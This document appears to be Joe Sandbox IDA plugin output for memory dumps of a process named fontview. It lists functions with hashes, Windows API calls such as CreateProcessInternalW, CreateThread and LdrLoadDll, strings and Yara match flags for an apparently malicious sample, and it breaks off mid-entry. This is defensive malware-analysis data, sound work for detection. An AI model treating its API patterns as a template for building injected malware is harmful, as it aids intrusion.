
Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2470e7c1fa668c8f8d31a72e60b0f78a00755d8ca7ba99b2de6bdfdb50d3135a
Instruction ID: bf20dbc49be419e60fbaa3fdb9675e031281780d57d986695554afff094b2415
Opcode Fuzzy Hash: 2470e7c1fa668c8f8d31a72e60b0f78a00755d8ca7ba99b2de6bdfdb50d3135a
Instruction Fuzzy Hash: 0E90026120180403F1807559480460700059BD0307F96C019A2065555E8A2EDD516135

Uniqueness

Uniqueness Score: -1.00%

Function 04AB2FB0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04AB2FBA

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: dca20161fce250ff825b5a9842ed45680e00027b9843b66c5cd813b95bf64625
Instruction ID: faa87f21fceabee25a87ef06ff1e880cb050a53f0b2856c101bb604721a5f567
Opcode Fuzzy Hash: dca20161fce250ff825b5a9842ed45680e00027b9843b66c5cd813b95bf64625
Instruction Fuzzy Hash: 93900221601400426180716988449064005BFE1216796C129A0999550D855ED9655665

Uniqueness

Uniqueness Score: -1.00%

Function 04AB2FE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04AB2FEA

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c1028f55cffdba244899090245ba85059a876bd3933fa1bca735169b349138a9
Instruction ID: cc97a96a12db24a166e72dd527ed2fc1bad60bfcea9bc1ca5020785af934afff
Opcode Fuzzy Hash: c1028f55cffdba244899090245ba85059a876bd3933fa1bca735169b349138a9
Instruction Fuzzy Hash: 84900221211C0042F24075694C14B0700059BD0307F96C11DA0155554CC91AD9615521

Uniqueness

Uniqueness Score: -1.00%

Function 04AB2F30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04AB2F3A

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4a453bf6efcfb4b88204dd22a87852c09d1f0be02213aded48b6a38ec0e00a99
Instruction ID: f6deffefdd54a22714f5d77bb6ca6c3ea92b6727731b1574c098e70af82adc1f
Opcode Fuzzy Hash: 4a453bf6efcfb4b88204dd22a87852c09d1f0be02213aded48b6a38ec0e00a99
Instruction Fuzzy Hash: 9F90026134140442F14071594414B060005DBE1306F96C01DE1065554D861EDD526126

Uniqueness

Uniqueness Score: -1.00%

Function 04AB2AF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04AB2AFA

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f3ff940fff2cd660b0dfd88f58b2aed07ee6ff0421d4fe6c49491c9377bba0ed
Instruction ID: 3a9681ea919b522816d9935bbc0bc57b24b79b0f6d4bf83e445c346c4e3cb596
Opcode Fuzzy Hash: f3ff940fff2cd660b0dfd88f58b2aed07ee6ff0421d4fe6c49491c9377bba0ed
Instruction Fuzzy Hash: 70900225221400022185B559060450B0445ABD63563D6C01DF1417590CC626D9655321

Uniqueness

Uniqueness Score: -1.00%

Function 04AB2AD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04AB2ADA

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6ec976d5590c723e8797194380fee1dd3b263b92471616af60d810578b8838be
Instruction ID: 31c432244e81023ccaa9ce48c3dec0b6bc41ed70f810be65f024820decef1205
Opcode Fuzzy Hash: 6ec976d5590c723e8797194380fee1dd3b263b92471616af60d810578b8838be
Instruction Fuzzy Hash: 97900225211400032145B559070450700469BD5356396C029F1016550CD626D9615121

Uniqueness

Uniqueness Score: -1.00%

Function 04AB2BA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04AB2BAA

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 08f7f2d6e6819ba791ec4d6a324940a17c7db883c159685a3980e995bdc8d57b
Instruction ID: 4452d861eb5ebeb0ce3be0e449061c92da5b2691d99bda311d2f65ce9a5ca1b5
Opcode Fuzzy Hash: 08f7f2d6e6819ba791ec4d6a324940a17c7db883c159685a3980e995bdc8d57b
Instruction Fuzzy Hash: 4990023160540802F1907159441474600059BD0306F96C019A0025654D875ADB5576A1

Uniqueness

Uniqueness Score: -1.00%

Function 04AB2BE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04AB2BEA

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 348daad74ae580a37320ce66b8d8192897e9e881c524cef5cc8fe8819f569ec1
Instruction ID: 0edd1a5946e95962840440b2e32e61d3a937847640d42471b7c896fc145fe671
Opcode Fuzzy Hash: 348daad74ae580a37320ce66b8d8192897e9e881c524cef5cc8fe8819f569ec1
Instruction Fuzzy Hash: BA90023120544842F18071594404A4600159BD030AF96C019A0065694D962ADE55B661

Uniqueness

Uniqueness Score: -1.00%

Function 04AB2BF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04AB2BFA

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 49b11c0dfc26bf24c5021f5253d30c4eb0444dcd3186db63cd8b833e073522e8
Instruction ID: db999bff6eb1012a43a0f8e5ca5b6da1547f9556ab8b38058c2d9e7733bd3c84
Opcode Fuzzy Hash: 49b11c0dfc26bf24c5021f5253d30c4eb0444dcd3186db63cd8b833e073522e8
Instruction Fuzzy Hash: EA90023120140802F1C07159440464A00059BD1306FD6C01DA0026654DCA1ADB5977A1

Uniqueness

Uniqueness Score: -1.00%

Function 04AB2B60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04AB2B6A

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5b24a3201ad0410a2e4154e3b7b733726f1d3ae5a62585cfa66426deea33503e
Instruction ID: 4b4e4dca58dfa4ec075e6f85934f9afad4761f8c400b41dc5cb6e5c8baa25951
Opcode Fuzzy Hash: 5b24a3201ad0410a2e4154e3b7b733726f1d3ae5a62585cfa66426deea33503e
Instruction Fuzzy Hash: 8190026120240003614571594414616400A9BE0206B96C029E1015590DC52AD9916125

Uniqueness

Uniqueness Score: -1.00%

Function 04AB35C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04AB35CA

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a8a804ac5874ddf2313f431321a0bde1341a80837b8e34073b63971118c76133
Instruction ID: 474021499252e38453242199d3f3c309bda27ae75c4fdf430d281f4838030e4d
Opcode Fuzzy Hash: a8a804ac5874ddf2313f431321a0bde1341a80837b8e34073b63971118c76133
Instruction Fuzzy Hash: 9590023160550402F1407159451470610059BD0206FA6C419A0425568D879ADA5165A2

Uniqueness

Uniqueness Score: -1.00%

Function 04AB39B0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04AB39BA

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5d613e83cb0649e3dea56be14057997c6b6739face399fc762c8a8964aa2a272
Instruction ID: 30b5bd5d46d804c4ced54472792a4446c0b35a248ef637b52f5be68476b735b9
Opcode Fuzzy Hash: 5d613e83cb0649e3dea56be14057997c6b6739face399fc762c8a8964aa2a272
Instruction Fuzzy Hash: B590022124545102F190715D44046164005BBE0206F96C029A0815594D855AD9556221

Uniqueness

Uniqueness Score: -1.00%

Function 02A41ABF Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 306bb4ae6f18e9ed0c30f8e52c3b0369cbf79fc6d1ca87648d946907b0560e58
Instruction ID: 426f1c784f034b4f88d780b4e4bb71f99554129441def2d5a7970c3c10edffc4
Opcode Fuzzy Hash: 306bb4ae6f18e9ed0c30f8e52c3b0369cbf79fc6d1ca87648d946907b0560e58
Instruction Fuzzy Hash: 797181B1D40218ABDB24DBA4DD81FEFB7BDAF84304F04455AE91DA2141EF709685CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02A40918 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 121COMMON

Download Yara Rule

Strings

2N-F32-85, xrefs: 02A40A40, 02A40A4C, 02A40A5D
2N-F32-85, xrefs: 02A40A54, 02A40A57

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID:
String ID: 2N-F32-85$2N-F32-85
API String ID: 0-2434227226
Opcode ID: 832197ac50c296536c299c8c58a1ac8c3c7ba0ef88384922bdf9f7b53cdc477d
Instruction ID: 07909dbc1229ad8e1499889065024b224e2f02cd7bc19cb846d7a6f6f83d77a6
Opcode Fuzzy Hash: 832197ac50c296536c299c8c58a1ac8c3c7ba0ef88384922bdf9f7b53cdc477d
Instruction Fuzzy Hash: EB31FC35844248AAD7219F758C81BEEBF38DF92A20F18418CEB901B193DF609507D794

Uniqueness

Uniqueness Score: -1.00%

Function 02A409C9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(2N-F32-85,00000111,00000000,00000000), ref: 02A40A4D

Strings

2N-F32-85, xrefs: 02A40A40, 02A40A4C, 02A40A5D
2N-F32-85, xrefs: 02A40A54, 02A40A57

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 2N-F32-85$2N-F32-85
API String ID: 1836367815-2434227226
Opcode ID: e1cc42a8a78512431e5bf1171017e70435a345e342ecc2a8e3c22ac8a3fc953e
Instruction ID: 39a64c1cc13e06c5e04877dc44602f23079a83900415248dc5f9a412beccbac3
Opcode Fuzzy Hash: e1cc42a8a78512431e5bf1171017e70435a345e342ecc2a8e3c22ac8a3fc953e
Instruction Fuzzy Hash: 2411C471E80218B6DB21A7A48C46FEFBF7C9F45B50F048155FA04BB180DB74A6068BA5

Uniqueness

Uniqueness Score: -1.00%

Function 02A409D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(2N-F32-85,00000111,00000000,00000000), ref: 02A40A4D

Strings

2N-F32-85, xrefs: 02A40A40, 02A40A4C, 02A40A5D
2N-F32-85, xrefs: 02A40A54, 02A40A57

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 2N-F32-85$2N-F32-85
API String ID: 1836367815-2434227226
Opcode ID: c18053ed195c731a3439170fa277cb7a7870a0a9e0d593e1a2de0246ac3ee490
Instruction ID: 450c42c0e2e6cf35553d0828446ff14feabefc83e94bc35b6061d8264af3b240
Opcode Fuzzy Hash: c18053ed195c731a3439170fa277cb7a7870a0a9e0d593e1a2de0246ac3ee490
Instruction Fuzzy Hash: 1901C071D80218B6EB21A7A08C05FEFBB7C9F80B50F008055FA047B180EAB4A6068BA5

Uniqueness

Uniqueness Score: -1.00%

Function 02A5243E Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 133COMMON

Download Yara Rule

Strings

net.dll, xrefs: 02A52567, 02A525C2, 02A525CE
wininet.dll, xrefs: 02A5253E, 02A5254A

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID:
String ID: net.dll$wininet.dll
API String ID: 0-1269752229
Opcode ID: 9c3bdc5c4561c1379145c3b585a312418661c3b194bf8d7f2f40ae675e581518
Instruction ID: 6d62dc7baa237f5c9c6302364f691889449d520950a088ca30c4bb98eeccb4f2
Opcode Fuzzy Hash: 9c3bdc5c4561c1379145c3b585a312418661c3b194bf8d7f2f40ae675e581518
Instruction Fuzzy Hash: 2C4177B66442019BC324CF78E880BE2F7B9EF8A314F1446AEDC9C9B206DB756455CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 02A524D0 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 104sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 02A5259B

Strings

net.dll, xrefs: 02A52567, 02A525EA, 02A525C2, 02A525CE, 02A525F6
wininet.dll, xrefs: 02A5253E, 02A5254A

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: 45fe11faa63c57a68425311a4af1dce3f7ec7095f7542f433304b4951084fd98
Instruction ID: c5b65b016788055d3a4c66665f22c3c62c8c706dc3cdc9925fe02f4f8a8debf6
Opcode Fuzzy Hash: 45fe11faa63c57a68425311a4af1dce3f7ec7095f7542f433304b4951084fd98
Instruction Fuzzy Hash: 2831ADB5640704ABD724DFA4D884FABB7F9EB88704F00852EF95D9B245DB70A944CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02A524C1 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 97sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 02A5259B

Strings

net.dll, xrefs: 02A52567, 02A525C2, 02A525CE
wininet.dll, xrefs: 02A5253E, 02A5254A

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: c8bc5f941df6e521d4d81cd654f0c54857ff19ad7f8aa67a27450438ebff6f78
Instruction ID: ccbd2b514b3e2693640ea034d20ae40e8c9f237226c5c2db8955fef9206f6446
Opcode Fuzzy Hash: c8bc5f941df6e521d4d81cd654f0c54857ff19ad7f8aa67a27450438ebff6f78
Instruction Fuzzy Hash: C931CFB1A40701ABD714DFA4DCC5FABBBB8EB84704F108169ED5D5B285DB706944CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02A5246C Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 83sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 02A5259B

Strings

net.dll, xrefs: 02A52567, 02A525C2, 02A525CE
wininet.dll, xrefs: 02A5253E, 02A5254A

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: 7d41e6efa8a3056bff8667dbe25614e003a0072bfd78014725bb9481142b0a34
Instruction ID: a9cf2e3a25530797996dbacce8df0eb4d8abf41cdcc2803382355aff63301c1b
Opcode Fuzzy Hash: 7d41e6efa8a3056bff8667dbe25614e003a0072bfd78014725bb9481142b0a34
Instruction Fuzzy Hash: 1031FFB0640700ABD314DFA4D8C5BABB7B9EB84700F10866AED1D5B285DB70A584CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02A48BF1 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 214COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?), ref: 02A48CF6

Strings

@, xrefs: 02A48C14

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: @
API String ID: 3188754299-2766056989
Opcode ID: e1986f5b3fcc0210fd6e309bedee3a4732fa9f17d60f2a211b3c8dc8d453dd26
Instruction ID: e63622021a3984b5da470e808c8ee9bfb588e9151fcfff3e9a12c1e26d12588f
Opcode Fuzzy Hash: e1986f5b3fcc0210fd6e309bedee3a4732fa9f17d60f2a211b3c8dc8d453dd26
Instruction Fuzzy Hash: 59716FB2940218AADB25EB64CDC5FFFB3BDAF54304F044599A919A6140EF74AB848F60

Uniqueness

Uniqueness Score: -1.00%

Function 02A4E57E Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 02A4E597

Strings

@J7<, xrefs: 02A4E5AB

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: Initialize
String ID: @J7<
API String ID: 2538663250-2016760708
Opcode ID: bd7c1e62fe23c8e041133a13d2c0f14902f2e5e434014f8805fd0bc7b656295f
Instruction ID: e84d9d2e0edd8a38e1b53b472587eff5a6bb17fc7394e04d709ae06c6872bc8f
Opcode Fuzzy Hash: bd7c1e62fe23c8e041133a13d2c0f14902f2e5e434014f8805fd0bc7b656295f
Instruction Fuzzy Hash: 843110B5A0020AAFDB00DFD8DC809EFB7B9BF88314F108559E515EB254DB75EE458BA0

Uniqueness

Uniqueness Score: -1.00%

Function 02A4E580 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 02A4E597

Strings

@J7<, xrefs: 02A4E5AB

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: Initialize
String ID: @J7<
API String ID: 2538663250-2016760708
Opcode ID: 796d385c14dc85baa4898d03e28137c5cb72002d3eb4a205f250581aa37e0e89
Instruction ID: 22e1d8207c1735b069153fa8aca3dd26bcfcca5dacf02aef7602167e40733805
Opcode Fuzzy Hash: 796d385c14dc85baa4898d03e28137c5cb72002d3eb4a205f250581aa37e0e89
Instruction Fuzzy Hash: 963132B5A0020A9FDB00DFD8DC809EFB7B9BF88304F108559E905EB214DB75EE458BA0

Uniqueness

Uniqueness Score: -1.00%

Function 02A441C0 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 02A44232

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 504a5459d5ecf3373cbdd27d0092ae790cb40cf581195c9a81bb27e7d90e6776
Instruction ID: eb26a132fd9d166ab093283ad334ba867ed528a8fafebb03b2cac15bc5673253
Opcode Fuzzy Hash: 504a5459d5ecf3373cbdd27d0092ae790cb40cf581195c9a81bb27e7d90e6776
Instruction Fuzzy Hash: AE011EB9E4020DBBDF10DBE4DD81FAEB7B99B54308F004195AD18A7240FA31EB58CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02A555E0 Relevance: 1.5, APIs: 1, Instructions: 47processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,?,?,?,02A47633,00000010,?,?,?,00000044,?,00000010,02A47633,?,?,?), ref: 02A55640

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 2b99a3d2ba528747ebb5d8efeff1f23e48b528e460fc6ee6051460f241c27a6f
Instruction ID: 7798d4937499c4074d12fc1078eea67f21d739e135f9ffd972c8661350eda5bb
Opcode Fuzzy Hash: 2b99a3d2ba528747ebb5d8efeff1f23e48b528e460fc6ee6051460f241c27a6f
Instruction Fuzzy Hash: 0601C4B2210108BBCB44DE89DC80EEB77ADAF8C750F408208BA0DD3240D630FC518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 02A39950 Relevance: 1.5, APIs: 1, Instructions: 38threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000), ref: 02A39995

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: d6c9136912e055820e86070ad2bd0b1d9dcdf308d2b87ea2705310ec5facd245
Instruction ID: 3a6c9d783a9753c5af15d6af48114a31c857e09970367db87ef9847a9408e3f4
Opcode Fuzzy Hash: d6c9136912e055820e86070ad2bd0b1d9dcdf308d2b87ea2705310ec5facd245
Instruction Fuzzy Hash: 18F0657338421437E33162A99C02FD7B28CCB81B71F250015FA0DEB1C0DDA6B54146A5

Uniqueness

Uniqueness Score: -1.00%

Function 02A543D8 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

RtlDosPathNameToNtPathName_U.NTDLL(?,?,?,?), ref: 02A54423

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: Path$NameName_
String ID:
